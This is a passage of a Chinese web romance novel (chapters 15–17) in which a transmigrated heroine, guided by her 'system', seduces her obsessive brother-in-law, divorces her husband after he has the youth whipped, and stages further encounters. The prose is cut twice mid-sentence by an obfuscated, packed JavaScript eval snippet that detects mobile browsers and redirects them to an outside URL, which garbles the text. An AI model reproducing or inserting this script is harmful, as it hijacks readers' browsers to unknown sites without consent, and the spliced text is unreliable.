而里面的少年似乎早就听到了她的脚步声,待到转身看清楚她的面容后,并没有太多讶异。 但还是略微怔愣了一下,很短,大概两三秒。 “嫂嫂……怎么会来?” 辛夷将手上的琉璃小灯和食盒一并放在桌案上,很自然的凑近他,然后就看到了他尚未干透的乌发发梢。 以及脖颈处,那浸湿了几分的中衣襟口。 辛夷伸手摸了一下他的脸颊,又摸了一下他的手背,果然是冷的。 他似乎刚刚洗了个冷水澡。 少年在她凑近的那一刻,鸦黑睫羽就轻颤了一下。 被触摸的那一刹那,更是控制不住的眯起凤眼打了个哆嗦,他克制的抿紧了没什么血色的薄唇。 辛夷本来想说:过来给你送些糕点。 可当她抬眸,看着少年那张满是紧张与绮色的俊秀脸庞,心念一转。 话在嘴边滚了一圈,就变成了,“二公子,我们出府去罢。” 她仰着一张姝丽的小脸,冲他莞尔微笑,“你把我带出府去,我们去瞧瞧下元节的花灯。” 15. 闺秀嫂嫂×貌美病娇15 下元节是民间传说中水官解厄的日子。 据说每逢下元节那天,水官旸谷帝君就会降临凡界巡查善恶,再根据考察结果上奏天廷,为人们解除灾厄。 这夜街上到处都是灯色,四处亮堂堂的,出来逛集市看杂耍表演的游人也很多。 不乏一些约着出来见面的公子佳人,在灯谜摊子前诗词唱和,看上去郎情妾意的艳煞旁人。 系统跟着他们沉默了一路,忍不住问:“宿主,不是已经如你所愿,和沈如芥一起溜出侯府了吗?怎么感觉你又不是很高兴的样子?” 辛夷叹了口气,语调说不出的寂寞:“你没看到这街上到处都是情侣么,这么好的氛围,多适合约会啊。” “但此情此景,我竟然连个小手都不能牵。” 系统:“……” 就知道它的宿主是个奇葩。 夜风吹过来,摊贩前悬挂的宫灯和纸鸢微微摇曳,带着辛夷袄子下坠着的香囊挂穗都轻飘了下。 她鼻尖嗅到了糕点的香甜气息,心情终于好了几分,然后弯起眼睛对身边的少年笑,“二公子,我请你吃东西罢。” 对方本来还在望着她乌发上的金步摇发呆。 闻言一愣,可疑的红意弥漫少年脸侧,“好,听嫂嫂的。” 不过说是请沈如芥吃,买的大部分却是她平时自己爱吃的。桂花醪糟圆子、糖霜糍粑、杏仁酥、红豆糕…… 而且每份出炉之后拿到手的第一口,少年都是乖顺的等在一旁让她先吃。 但辛夷吃东西只图新鲜,买的种类又多,总是没吃两口就兴致缺缺的放到一边。 尤其集市上还总是有热闹瞧,她眼睛光顾着去看那热闹的喷火表演了,根本没注意方才没吃完的糖霜糍粑,被身侧少年拈起放在唇边,缓缓张唇咬住。 她一转头,正好看到他唇边沾染的糖屑。 一边觉得好笑,一边替他用指腹仔细的蹭掉,“好吃么?” 沈如芥漆眸望住她,喉咙里不自觉干涩起来,而后有点喑哑的点点头,“嗯……很好吃。” 辛夷看了他许久,脑子里却忍不住浮现出第一次见到他的场景。 少年玄衣长剑,一身冷意站在雨幕中,鸦黑睫羽没什么情绪的低垂着,仿佛和谁都不亲近。 现在站在她面前的少年,却像一只隐忍乖顺的小狗,收起了所有尖锐的刺。 露出了可以被逗弄欺负的一面。 满街喧闹的人群与花灯之下,她咬着唇看他,忽然觉得心脏软塌塌的。然后伸出手揉了揉少年乌发,“阿芥,你很好,特别特别好。” “二公子太疏远了,我以后就叫你阿芥,好不好?” 沈如芥望着女子纯粹笑颜,胸腔里有一处滚烫得快要灼烧起来。 他努力克制住残存的理智,晦涩不明的应了声,“嗯,嫂嫂想怎么唤我,都可以。” 这夜还长,还有很多有意思的地方可以慢慢逛。 容貌姝丽的女子和俊秀如星的少年,他们一路行过来,有不少打量艳羡的目光落到身上,如此般配,真是一对天造地设的檀郎谢女。 他们一起放孔明灯,在上头题字许愿。 辛夷先写,她伸出葱白素手捏住那杆细细的檀木狼毫,略一思索后,在上头题字。 是很漂亮的簪花小楷,她拢住自己垂落的织锦披风,垂着眼写得认真极了,“希望阿芥以后升官发财,健康顺遂,最重要的是少流血少受伤。” 她写完之后,将手中狼毫递给身侧少年,“把你的愿望也写上。” 沈如芥接过狼毫,看了眼,在她那两行娟秀的字迹旁边补上句,“愿,年年如今日。” 辛夷瞧见了,抬眸问道,“你今天很开心?” “嗯。” “那以后还会更开心。” 少年听完没立刻应答,而是问她,“嫂嫂会永远陪着我么?” 辛夷愣了愣,抿唇答道,“会。” 但她知道这个承诺是假的,总有一天她会头也不回的离开这里,但至少在今夜,她不想扫兴。 沈如芥显然被她的话哄到了,眼底都是丝丝缕缕的笑意,甚至在路过一处卖首饰的摊贩前,主动停下来。 那个老板顺着他的视线瞧过去,立刻喜笑颜开,跟他介绍,“小郎君眼光真好,这副耳珰全京城只有这么一副,是前朝孤品,打磨镶嵌的可是宫里头娘娘们才用的老银匠。” 辛夷懒得吐槽,心想就这么个小摊贩还卖前朝孤品,也不怕风大闪了舌头。 而且那耳珰虽然清雅,但也不至于全京城只有一副,她亲手编个草蚱蜢也能说只有一个呢。 沈如芥却拿起来在她耳边比了比,浑然不觉自己马上就要被宰了。 他凑近一些,冰凉柔软的气息也迫近,“我帮嫂嫂试试。” 辛夷叹了口气,心知阻止不了他做这个怨种,于是很配合的偏头任他动作。 耳垂处传来一阵凉意,应该是他的手指,力道不重,摩挲两下就戴上了。 她没觉得有什么不对,还就着这个角度给他看,“好不好看?阿芥。” 殊不知少年此刻眸色幽微,是难以言喻的痴缠。 他的视线里只能看到那一截纤细的美人脖颈。很白,像玉,在灯火月色之下渡上了一层莹润的浮光。 沈如芥控制不住的屏住了呼吸,想要伸手去摸。 想看看那处,是不是同他所想象的那样,也是玉的温度。 他着了魔般的,真的伸手触了触那截纤细的脖颈,女子仿佛被忽如其来的凉意惊到了,转过头,秀丽眸中激出淡淡的雾色水汽。 待看到他后又忍不住抿唇笑开,将温软的脖颈靠近来,抵着他手背处蹭了蹭,“小郎君,你是想掐死我么?” 那打趣调侃的语调,像是完全将他此刻的唐突逾矩视作了恶作剧。 沈如芥完全移不开眼,他的心里有一道声音在辩驳:不,不是想掐她。 是想亲她,想含住她的唇瓣湿漉漉的不放,像丈夫对妻子那样亲她,亵玩她。 他忽然就松开手,垂下睫羽敛去眸中的病态之色,用看似平静的语调柔声说,“回去罢,嫂嫂。” “你的身体不好,经不住这么浓的夜风。” * 侯府,别院里的灯依旧亮着。 一如她离开时的那样。 辛夷推开门踏入院中,唇边还挂着心情很好的笑意。 然后下一秒就看到魂不守舍的侍女,阿盈看到她回来了简直要哭出来,脸色也发白,“怎么办夫人……刚刚侯爷来过了,他知道您去找二公子了!” 阿盈委屈得抹眼泪,“奴婢不是故意的,但侯爷非要进去瞧您一眼才肯走,然后、然后就露馅儿了。而且侯爷离开的时候,一张脸阴沉得吓人,据说是带着家奴们将二公子的院子围起来了。” “您快去看看罢,说不准二公子他会被侯爷打死的!” 破落的小苑之中,整整齐齐的站着数排家奴。 沈归确实一直等在沈如芥的院子里,等到他从外头回来。 在等待他的这两个时辰里。 沈归原本就不怎么好看的脸色,更加一寸寸阴沉下去。怨不得,怨不得! 怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778593|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得辛夷最近对他如此冷淡。 却待那个小孽畜处处上心,甚至在诗会上主动替他出头,全然不顾自己侯府夫人的身份。 他这个庶弟的生母就是个不安分的婢女,爬了主子的床不说,后面还跟奸夫暗通款曲。 没想到生出来的儿子也一样,一样的□□下贱,像条狗一样卖弄身体,竟然还是对着他的嫂嫂! 院门“吱呀”一声推开了,身形清瘦的少年踏着月色走进来。 他脚步不疾不徐,漆眸中映着院中火把的光亮。 奇怪的是待看到庭院中伫立的人影,他竟然没有丝毫慌乱,更加没有惊讶。 甚至唇边还噙着笑,“兄长……” 辛夷走得很快,阿盈在旁边提着灯都快要跟不上她。 等到她气喘吁吁的赶到沈如芥的住处,推开门的时候,还是晚了。 少年已经被绑在木桩上,打得血肉模糊。 他的身上、脸上都是鞭伤,包括脖颈处都是,血水顺着他的伤处渗出,浓烈的血腥味儿弥漫在院子中,让辛夷险些站不住。 她的眼泪立刻涌了出来,踉跄着想要跑向他。 却被沉默站在旁边的沈归牢牢攥住手腕,他扔掉手上被血水浸透的鞭子,语调阴冷,“这就是邬家教出的好女儿,我竟然不知道,自己那整日病怏怏的夫人,不知何时背着我偷偷和庶弟勾搭在了一起!” 他逼近身子发抖的女子,压低了声音,在她耳畔说着羞辱诛心的话,“怎么,装模作样的不愿意跟我同房,是这个小孽畜把你伺候舒服了?” “他弄过你是不是,几次,在哪里?” 辛夷嘴唇颤抖,心酸也一阵接着一阵。 她也不知道自己是怎么了,其实这些话对她也构不成分毫伤害。 但她的眼泪确实流得更欢了。 准确来说,这应该是属于原主的眼泪。仿佛积攒在邬辛夷身体里那么多年的冷落和委屈,都被一起宣泄出来了。 她转头望向沈归,隔着泪眼质问,“在侯爷心里,何时将邬辛夷真的视作妻子?你对她,又何曾有过一分真心?” “邬家的女儿怎么了?起码她嫁给你的时候是真心实意的,是想要跟你过一辈子的!可是侯爷,成亲两年,你主动去看过自己的夫人几回?” “你在意她的真心么?” “你有半分怜惜过她的眼泪么?” 沈归听到最后已是怒极,他没想到到了这个时候辛夷不仅不知悔改,不跟他认错、求他饶恕。 竟然还有脸反过来质问他。她怎么敢!! 他恨得咬紧了牙关,用那股几乎捏碎骨骼的力道攥住她。 谁知下一秒,面前女子用尽全力挣脱他,就连望过来的神情也是苍白发抖、心灰意冷。 仿佛做错事的人是他,需要求得原谅的人也是他,“写放妻书罢,我们和离。” “什么!” 沈归气得脸色铁青,胸腔起伏,“邬辛夷,你再说一遍。” “京郊的庄子,郑妩……” 辛夷凉薄的看着他,唇边露出微微奚嘲的笑,“侯爷,还要我继续说下去么?” 沈归愣住了,像是完全没想过这个遮掩了许久的秘密,会被辛夷戳破。 但短暂愣神之后,面色又重新阴沉下来,像是根本没把她嘴里的和离放在心上,“我要是不同意呢?你又能怎么办?” 辛夷缓缓退后,朝他笑了笑,素来温婉的小脸上显出几分决绝的冷意,“那妾身就宁为玉碎不为瓦全,一头碰死在这院子里头!” “丧妻,还是放妻,侯爷选一个罢。” 16. 闺秀嫂嫂×貌美病娇16 沈归走了。 离开之前他气得脸色铁青,留下了那纸简单明了的放妻书,直接和着没干透的墨扔到了辛夷怀里,“你别后悔,哪怕是邬家,也不会真心接纳一个被夫君休弃的女儿!若是你以后没处可去,可不要再回过头来求我!” 说完就怒意沉沉的拂袖而去,像是至此已无话可说,再也懒得多看她一眼。 辛夷咬着唇瓣呆滞许久,才想起来伸手去擦眼泪,然后把和离书塞进衣袖。 她情绪还没平复下来,身子仍旧发着抖,手也抖,尤其是指尖触到绑住少年绳结上浸透的血污,粘腻湿冷。 眼底刚要止住的泪水,就那么不受控制的翻涌出来,喉咙间亦发出一阵细弱悲鸣似的哽咽。 阿盈也哭,她边哭边帮着辛夷一起解。 两个人解了好半天,才把那缠得牢牢的麻绳从少年身上弄掉,费了好大力气扔到地上。 几乎是刚拿掉绳索,被打到浑身是血的孱弱少年就伸出手臂,依赖乖顺的抱住了辛夷。 他抱得很紧,乌黑头颅低垂着,动作牵扯到流血的伤口也仿佛不在意,没人要的小狗一样蹭她,“嫂嫂,你又来救我了。你总是来救我。” 每次都是这样。她总是不在意旁人的目光,那样心疼又决绝的走向他,怜悯他。 辛夷是他一个人的,谁也别想抢走。谁敢觊觎,就杀掉谁。 夜风吹动残破不堪的衣裳,也让腥甜的味道更加明显。 清寂的月光照在庭院里,他们所站立的地方有一片污深蜿蜒的小溪,像粘在石板上的血红蜘蛛。 辛夷被抱得蹭了一身的血,她能感觉到少年冰凉柔软的呼吸就在颈侧,黏她黏得不得了。 可她还在抖,被抱得那么紧也还在抖。 沈如芥伸手,摸到她满脸的无助泪水,竟似有些羞赧的浅笑了一声,“嫂嫂……别哭,我不疼。” 他又不是没受过伤,兄长那个废物,除了能把他打得血肉模糊、浑身是血之外,根本就连骨头都弄不断一根。 可是辛夷心疼他。 她因为他哭了,还哭得这么难过,这么可怜,这简直比世界上最好的蜜糖还甜。 少年的眸色晦涩不明,怀抱也禁锢得越来越紧,恨不得将怀中女子柔若无骨的身体嵌入骨血。 于是也就没留意到,那张梨花带雨的小脸呆滞一瞬,就那么在他怀里晕了过去。 * 几日之后,京城闹市。 某处临着烟花柳巷的破旧宅子,被一位年轻貌美的妇人带着婢女买下,又添了两个煮饭的嬷嬷和洒扫的仆役,里里外外打扫一遍才算彻底安置下来。 靠近庭院的那道窗棂被支起来,坐在窗边发呆的女子一身素衣,姝丽绝色,手里捏着册许久未翻动的书卷。 虽然没有太多表情,眉眼间却掩饰不住的透着淡淡的寂寥与哀伤。 阿盈瞧得心疼。 夫人因为跟侯爷和离的事情一定很痛苦,不然这几天也不会老是走神发呆,茶不思饭不想。 更不会在拿了放妻书的当夜,哽咽到一张小脸苍白,就那样晕倒在了二公子怀里。 夫人的心里,一定很痛罢。 从知道那个叫郑妩的外室存在之后,夫人就一直很难过。 原本以为还有机会挽回侯爷的心,没想到最后弄成了这样。两个人都在赌气,都在误会彼此,又同样的自尊清高不肯低头。 戏折子里那些才子佳人,因为遗憾而错过的故事不就是这样么? 阿盈叹了口气,收拾好表情,然后端着碗温热的汤药走过去。 厢房之中。 辛夷也无奈的叹了口气,再次询问系统,“真的不能趁着这两天,和沈如芥深入交流一下吗?反正他春梦都做了,应该不至于拒绝我。” 系统的回答是相当无语,“不行,起码再过一段时间,或者找到个合适的契机,否则你的闺秀痴情人设就彻底崩了。” “原主嫁给沈归两年,是真把他当夫君看的,对他也有些感情,不可能这么快就移情别恋,转投别人怀抱。所以宿主必须克制点儿,只能暗撩,不能明撩。” 辛夷不得不作罢,语调中透着浓浓的惋惜,“好吧,我还是很矜持的。就是随便问问,其实心里才不是这么想的,你可不要误会我。” 系统:“……” 我信你个鬼。 正在惋惜间,阿盈就端着汤药过来了,“夫人趁热喝了罢,奴婢特意在里头加了蜜枣,不苦的。” 辛夷闻言也没说什么,非常熟练的接过那碗黑乎乎的汤药。 刚开始的那段时间她还有些抗拒,可能后面渐渐喝的次数多了,对苦的承受力也高了许多,可以面不改色的痛饮这碗汤药。 阿盈看夫人那副温柔顺从的模样,更加心酸了。 她知道夫人跟二公子之间其实并没有什么,她只是心地善良,但凡受了旁人的恩惠就想回报。 而且侯爷本就有错在先,还那样不分青红皂白的指责夫人、误会夫人。 也怪不得夫人到了最后心灰意冷,提出和离。 但令阿盈怎么也想不到的是,距离和离那夜,这才过去了短短几日,侯爷就打算迎娶外室,还要凤冠霞帔的大操大办。 简直就是羞辱邬家,一点儿脸面也不给夫人留! 她也是今日出去采买东西的时候,才知道这个消息已经在京城传了个遍。 现在恨不得全京城的人,都在可怜那个被夫君无情休弃的邬家女。 出身望族又怎么样,还不是个整日靠着汤药吊命的病秧子? 嫁入侯府做正妻又怎么样,两年过去连个子嗣都没有,还不是被夫君厌倦休弃? 阿盈瞧着夫人尖细的下颌,觉得她最近都似瘦了一圈,坐在窗前感觉一阵风就能吹走似的。 她心里也忍不住怨怪起侯爷来,夫人那么好,他却不知珍惜,早晚后悔都没地方哭! 但嘴上还是努力说着宽慰的话,“夫人不要听信外面的风言风语,那些都当不得真的。您绝不是被侯爷厌倦了才赶出门去的,也不是因为没有郑妩那个外室生得貌美。” “那茶馆的说书先生也不知道从哪儿编篡的烂话本,早晚把自己的阴德损光,口舌生疮!” 辛夷听罢只是笑笑,并没有很在意的样子。 因为那些消息就是她特意放出去的,她还专门找了几个穷秀才润色故事,然后把写好的话本子,卖给京城里有名的茶楼。 为的就是把渣男妄图遮掩的老底,全抖落出来给众人看。 她反正不在意别人说闲话,甚至到了兴头上,还能磕着瓜子当乐子听。 沈归就不一定了,他自以为感天动地的真爱,竟然变成了京城里饭后茶余的谈资,估计气都气死了。 她想到什么,扭头看向阿盈,“以后别叫夫人了,叫小姐。” 然后貌似假装坚强的失落一笑,透着释然,“反正我与侯爷,这辈子应该是没什么缘分了。” “是,夫……” 阿盈习惯性的称呼到了嘴边,又赶紧改口,“是,小姐,奴婢晓得了。” * 夜深了,这处宅子的临街就是烟花柳巷。 哪怕每每入夜了,也能听到靡靡的丝竹弹唱之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778594|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,而且偶尔还有马车辘辘,和酒鬼的叫骂隔着院墙传进来。 刚开始阿盈还委婉的劝过她,这处宅子虽然是在天子脚下,也难保不会有意外发生,让她再考虑考虑。 辛夷说无妨,会有人替她们守夜,实在不放心就去挑几个护院回来。 小丫鬟见劝不过她,就老老实实的带着嬷嬷还有掌事,去集市上物色合适的护院人选了。 最后敲定了四个看起来老实可靠的,而且家里头也是知根知底的那种。 等到过了亥时,所有的人都睡下了,庭院也是幽深寂静。 辛夷这才擎着一盏小灯踏出房门。 她知道有一个傻子,已经默不作声的在这里守了好几夜。 当然不是她自己发现的,是系统告诉她的。 等她提着琉璃灯,缓缓走近了那片靠近院门的昏暗角落时,少年的身形蓦然僵滞。 然后无害的垂下睫羽,非常乖巧的喊了一声,“……嫂嫂。” 辛夷看着他,婉约的一张脸没什么笑容,“你在这处待了多久了,为什么不告诉我?” 少年以为她生气,微愣之后眼眶有些发红,“对不起,我、我不是要故意偷看你,就是有点担心。” 虽然也偷看了,偷看她睡觉,焚香的屏风之后,青丝如瀑遮住阖上的娟秀眉眼。 辛夷看着面前少年,有些无奈的叹了口气,“你直接告诉我就好了,我还能另外给你准备张床榻,再不济也是打个地铺。” “好过你这几夜睡在房顶,难道就不觉得冷么?” 她又走近两步,蹙眉问他,“伤还好吗?” 沈如芥心头一暖,狭长的凤眼噙着笑,朝她轻轻点头,“好多了,我以前也经常受伤,这次算不得多重。” 最重要的是,能见到辛夷,能跟她说话。 听他这么说,辛夷也稍微放下心来。 然后想起来什么似的,不经意的抬眸道,“前两日,我特意让阿盈去街上买了坛桂花酿。” 沈如芥听懂了,微微一默。 但好像不是很赞同,眼底浮出几丝犹豫与顾虑,“嫂嫂想喝酒?可……可你的身子不好,不宜饮酒。” 辛夷点点头,有些撒娇的握住他的手腕,“想喝,阿芥陪我一起喝,放心罢,我酒量很差,喝不了几口。” 而且喝了酒,就可以借着酒意说些混账话,撩了也不用负责。 最后辛夷还是把少年拉进了自己的房间,打开了那坛子桂花酿。 她刚开始很端庄,坐得也直,酒盏里的桂花酿也只是小口小口的抿。 后来喝了两盏,眸子有些烟水迷离起来,小脸也酡红。 不仅和他靠得越来越近,话也变得愈发多起来。 当然更多的是情伤诉苦,说自己尚在闺阁的时候就倾慕侯爷,后来满心欢喜的嫁入侯府,给他做了两年的妻子。 本以为会相守终老,谁知道到头来却被他嫌弃辜负,还被说了那样冷漠伤人的话,她再也不要原谅他了。 说到最后早已经醉得不成样子,只能柔弱纤细的趴在案上,枕着胳膊伤心流泪。 灯火摇曳在她泪水濡湿的眼角,还有些些醉意薄红,催得少年郎心跳都要快上几分。 她或许也知道。 自己的这张脸,越是脆弱就越是貌美。 在辛夷装醉哭泣的片刻后,沈如芥终于抑制不住的靠近,轻柔的伸出指节,就着烛火,拨开她被泪水浸湿后黏在脸侧的乌发。 然后捧住了她的脸,虔诚而痴缠的摩挲,“嫂嫂,你需要一只小狗。” “阿芥愿意做你的小狗。” 17. 闺秀嫂嫂×貌美病娇17 可惜他抵着辛夷眉眼,克制的用指腹摩挲了半天她的唇瓣,也没能亲上去。 最后乖乖把她抱上床榻,给她脱下脚上的绣鞋罗袜,小心翼翼的掖好被子,看了半天才走。 辛夷表面柔弱醉美人,实际上心中怒骂:看个屁!也不亲!! 房门阖上,烛火“噼剥”一声,她不装了睁开眼睛,气得小脸通红。 系统看她快要气成河豚了,在旁边说风凉话:“谁让你刚刚那么早就装醉,你再撩两句不就行了?” 辛夷磨牙:“不是你说,我现在的闺秀人设要矜持一点吗?我闭上眼睛,就是想等他偷亲我。” 谁知道他都快把她唇瓣摸肿了,而且灼热的视线黏在身上像蛛网,竟然硬生生忍住了。 不行,她得想想办法,下次必须亲上。 好感度得继续刷,他们的关系也要更进一步。毕竟光靠沈如芥单箭头的脑补,是很难把好感度拉到百分百的。 甚至到了关键时刻,为了刺激沈如芥,就连沈归那个狗东西都得洗吧洗吧拎出来,充当一下催化感情的工具。 系统也不清楚她打得什么主意,有些狐疑的问道,“宿主,你不会真的喜欢沈如芥吧?你要时刻记住,自己的责任是完成攻略任务,不是真的谈恋爱。咱们攻略完就得走,你可别到时候掉链子。” 恋爱脑的宿主它见过,有的甚至直接就撒泼打滚的不肯走了,非要留在小世界和男主甜甜蜜蜜,最后搞得任务失败,连它也受连累。 辛夷在短暂的挫败和思考之后,已经平复了情绪。 听完它这番提醒的话,倒是没有太过分的反应,而是语调悠凉的笑了笑,“沈如芥?喜欢啊。” 平心而论,少年确实挺讨人喜欢的,除了最开始不太好接近之外,后面没做过什么特别让她掉好感的事。 和他亲吻,甚至更进一步的身体接触,她都不排斥。 系统脑子一疼,果然,它最担心的事情还是发生了!刚想劝她两句,回头是岸,虚幻世界不可当真。 就听到辛夷接着说,“帅哥谁不喜欢啊,年少慕艾不是很正常的事吗?要是下个小世界还是帅哥,我肯定继续喜欢。” 她微微停下来,话锋一转,“而且,你不是让我提前喝过情感抑制素了吗,有什么好担心的?做任务只走肾不走心的这个道理,就连时空局刚入职的小朋友都知道。” 她一个没有远大理想,只想赚钱摸鱼的人就更明白了。撩反派,睡他,刷满好感度,然后提裤子就跑。 唔……现在马上要进行到第二个阶段了。 沈如芥这只貌美的病娇小狗,看起来就很好睡的样子。 * 又是小半个月过去,辛夷的身子终于渐渐好起来,最近也不用喝药了。 就算没有阿盈陪同,她也可以出去走走。 而且她特意约了沈如芥。 想让他陪自己在京城里到处逛逛,至于借口,随便扯一个就行,“久居深闺想瞧瞧热闹啦”、“阿盈太啰嗦不想听她唠叨啦”,反正他是肯定会答应的。 沈如芥果然准时……不,是提前两刻钟来接她出去。 辛夷早已经由着婢女梳洗打扮完,看他来了,就放下手中茶盏随他踏出院门。 到了马车前头,故意抬起杏眸瞧着他,用那种羞赧的声音装柔弱,“我……上不去。” 话音刚落,就被少年打横抱起来,她的鬓发就那么乖巧贴在他怀中,酥软的没有骨头似的一个人。 连带着裙裾上温柔的药香与辛夷花香,跟他身上的冷冽松香交织在一起,令少年喉咙焦渴,“我抱辛夷上去。” 他已经不叫她嫂嫂了,叫辛夷。 甚至有的时候两人一起出去,他会跟着布庄掌柜戏谑的叫她“辛夷小娘子。” 他们今次还是先去了布庄。 辛夷手里有许多闲散银子,有些是她当初的陪嫁,有些是沈如芥最近非要塞给她的,她装作惊讶的推拒,“阿芥哪来的那么多银两?” 少年就眼睛也不看她,把脸撇到一边红着耳根说他攒的。以后还会攒更多,都拿给辛夷。 只要她愿意在宅子里给他留一盏茶,一个地铺。 辛夷于是就佯装迟疑片刻,然后有些纠结的收下了。 她喜欢买布料做衣裳,也给他买布料做衣裳,平日里吃到什么好吃的,也习惯性的给他单独留起来一份。这样算下来,亦可以说是有来有往。 今日却格外的不凑巧。 他们在布庄里碰到了意想不到的女人——已经被沈归接入侯府,并且拟订了婚期的郑妩。 她是在丫鬟的陪同下来挑看嫁衣布料的。 结果刚相看了几匹料子,一抬头,就瞧见了侯府那个形容貌美却性情孤僻的少年。 郑妩第一次见沈如芥的时候,是上月中旬,在侯府。 她从未见过如此肤白俊秀的少年,就是沈归跟他比起来都显得粗糙许多,尤其是那双狭长凤眼扫过她的面颊,定定的瞧了许久,让郑妩都忍不住有些面红。 她当然不会知道,对方并非是被她的容貌吸引。 而是在冰冷审视着自己面前的这个女人,到底哪里比得上辛夷,让沈归不顾家中妻室管不住自己肮脏的下半身。 两人其实也没什么交集,但出府遇见了。 郑妩作为他未过门的新嫂嫂,还是打算主动过去跟他说两句话的。 谁知对方瞧见她想要过来,眉心立刻如见瘟疫似的厌恶皱起,眸底还透着隐隐的威胁之色。 并且伸手扶住了身侧女子的胳膊,似乎是将她往自己身后藏了藏。 郑妩这才注意到他旁边的女子,并且脸上浮现出浓重的愕然与惊艳。 对方一身窈蓝色曳地襦裙,肩颈处系着素白色的披风,一张脸秀如春雪,乌眸似水,唇色朱红,当下正站在少年身侧笑意盈盈的同他说话,只瞧一眼便令人心折。 她没见过沈归口中那个久居深闺的病弱夫人,自然不知道眼前的这个女子就是辛夷。 只是模糊猜想着,对方或许就是沈如芥心中喜欢的人,才能令他亲近依赖,露出如此怪异而紧张的神色。 辛夷似乎并未察觉到什么异样,只是拉着少年的衣袖好笑的问,“阿芥,你在做什么?你把我挡得都快看不见那两匹布料了,我还没选好要定哪一款呢!” 少年却依旧不肯让开,辛夷就算再笨也察觉到不对劲了。 她抿着唇轻轻挣脱他的掌心,然后就瞧见了带着丫鬟来挑选嫁衣的郑妩。 郑妩对上她的视线后,探究之余,礼节性的点头笑了一下。 但似乎是畏惧着少年的阴鸷目光,到底是没有过来,默默的走开了一些。 辛夷当然知道那是谁,她偷偷去京郊的庄子里瞧过沈归养的外室。 当下睫羽簌簌的垂下,脸色苍白,明明失魂落魄到有些站不稳,还要勉强的扯出一丝微笑。 她抬起头问沈如芥,眼眶微微泛红,更像是慌乱之下没话找话,“阿芥,你说这两匹布,到底哪一种好看?” 那竭力想要掩藏委屈的模样,看得人心里撕扯着发疼。 沈如芥分不清胸腔处绵密似针扎的痛楚,到底是因为怜惜多一点,还是妒恨多一点。 他攥住那只属于女子的柔软小手,生怕弄疼了她似的拢在掌心,声音微涩,“两匹都很好看,都很衬辛夷。” 系统在旁边啧啧称叹,透着几分敬佩,“宿主真行啊,专门寻了郑妩到布庄来挑选嫁衣的时候出门,原来就是为了这个。不过确实很有效果,沈如芥看起来都快心疼死你了。” 辛夷觉得它是个老古董,外加猪脑子。 当即轻笑着回答,“光心疼是不够的,嫉妒攒多了就会冒犯。而这道情愫的口子只要撕开,就再也难遮掩住了。” 这个布庄很大,各种花色的布料简直叫人挑花了眼。 郑妩被小丫鬟扶着跟着,一直挑到了最后面,除了许多朱红的绫罗绸缎之外,还有几匹被木桩悬挂起来的青纱红绸,像隐约的屏风。 倏然,她抚上布匹花纹的手指一僵。 听到了帘子后传来女子苍白可怜的声音,她听起来虚弱极了,似乎有些难以启齿,“阿芥,我胸口闷,你帮我按按……” 这下别说郑妩了,就是她旁边的小丫鬟都跟着脸皮子红了起来。 她以为依照沈如芥那般不会怜香惜玉的性子,肯定会断然拒绝,没想到短暂沉默之后,似乎听到了布料摩挲的细小声响。 少年似乎在极力的克制忍耐,但乖觉声线还是透着喑哑,“这样,可以了么?” 绸帐之后,沈如芥的脸侧其实已经快要红得滴血,但他还是犹豫着弓起手背,隔着裙襟帮她轻抚了抚心口。 一边克制住呼吸急促,一边更恨郑妩和沈归。都是他们!如果不是非要赶在今天出来挑选嫁衣,也不会让辛夷气成这样!! 而僵滞在帘帐外站了数秒的郑妩和小丫鬟,等到回过神来,赶紧红着脸离开了。 幸好她们出了布庄,没等太久,沈归就从临街取完东西过来了。 郑妩姿容姣好,藏在裙裳下的腹部已然是微微隆起,不似两月前那样纤细,已经能看得出是有身孕的女子。 沈归见她站在石阶旁等待,连忙上去小心的搀扶,语气间都是怜惜责备,“天气这么冷,阿妩怎么出来等了?” 看着心爱男子为自己紧张的模样,郑妩露出甜丝丝的笑,俏皮的吐了下舌头,“侯爷非让丫鬟给妾身穿了这么厚,怎么会冷呢?” “就是逛了这么久,有些饿了,想去前面的茶楼里吃点东西。” 沈归自然无不应允。 而另一边,他们前脚刚上了茶楼的天字号雅间。那个笑呵呵的跑堂小二哥,就将新来的客人引到了隔壁雅间。 这是京城最好的一家茶楼,菜肴酒水都很昂贵,视野自然也是特别开阔。 临窗的桌案旁边是两方宽敞的矮榻,向远处俯瞰,可以望见重重的楼阙灯火。 沈如芥第一件事是扶着辛夷在案前坐下,第二件事就是起身关窗。 他怕夜风太大,会吹得人感染风寒。他倒是无所谓,但辛夷不成。 面前的女子已经除下了披风,穿着一身窈蓝色的外衫襦裙坐在桌案前。 她好似心情有些闷闷的,伸手拿了银制的纤细手柄,去拨弄兽脚炉里的香灰,把好好的一朵芙蓉花给拨散了,低垂着眼睛,红唇也微微嘟着。 莫名娇憨,莫名惹人怜爱。 沈如芥看得心里发软,又有些想笑,只好对坐着欣赏了片刻,然后去铜盆里绞了方湿帕子给她擦手。 动作轻柔,语气也是劝哄,“马上要用膳了,实在想玩的话,也等下再玩。” 辛夷瞧着他抿唇笑,心里想的却是:等下就不玩这个了,等下要玩你。 系统恨不得捂住耳朵,好让自己纯洁的小心灵不要受到污染,“说好的清新小绿茶呢?宿主,你是不是跟隔壁祸水组的那群御姐学坏了?” 